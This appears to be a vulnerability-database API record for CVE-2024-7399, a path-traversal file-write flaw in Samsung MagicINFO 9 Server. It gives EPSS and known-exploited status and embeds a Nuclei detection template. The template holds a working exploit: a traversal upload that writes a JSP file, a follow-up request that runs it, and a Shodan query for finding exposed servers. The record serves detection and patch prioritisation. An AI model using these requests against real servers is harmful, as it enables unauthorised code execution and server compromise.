{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-7399/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-7399/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-7399/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-7399/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-7399/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-7399"},"sightings":{"href":"/api/v1/sightings/cve-2024-7399"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.91941,"kev":true,"percentile":0.99815},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-7399.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-7399\n\ninfo:\n  name: Samsung MagicINFO 9 Server 21.1050.0 - Remote Code Execution\n  author: iamnoooob,pdresearch\n  severity: high\n  description: |\n    Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority.\n  impact: |\n    Authenticated attackers can exploit path traversal to write arbitrary JSP files with system privileges, achieving remote code execution and complete server compromise.\n  remediation: |\n    Update Samsung MagicINFO 9 Server to version 21.1050 or later to address the path traversal and arbitrary file write vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-7399\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2024-7399\n    cwe-id: CWE-22\n    epss-score: 0.91941\n    epss-percentile: 0.99815\n    cpe: cpe:2.3:a:samsung:magicinfo_9_server:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: samsung\n    product: magicinfo_9_server\n    verified: true\n    max-request: 1\n    shodan-query: 'Server: MagicInfo Premium Server'\n  tags: cve,cve2024,rce,magicinfo,samsung,file-upload,intrusive,vkev,vuln,kev\n\nflow: http(1) && http(2)\n\nvariables:\n  filename: \"{{randbase(6)}}\"\n  input: \"{{randstr}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{filename}}.jsp&deviceType=abc&deviceModelName=test&swVer=123 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/plain\n\n        <%@ page import=\"java.util.Base64\" %>\n        <%\n        String base64Input = request.getParameter(\"input\");\n        if (base64Input != null) {\n            byte[] decodedBytes = Base64.getDecoder().decode(base64Input);\n            out.print(new String(decodedBytes));\n        }\n        %>\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - raw:\n      - |\n        GET /MagicInfo/{{filename}}.jsp?input={{urlencode(base64(input))}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{input}}'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100cb82714802526cf8e1657f0a46f98ce728678f396b511173693cc6f7f8e8eb6f02204ae5f36b9e34b04bd84319dff552096284a455157f89bee217a22da93967cd8b:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-7399"}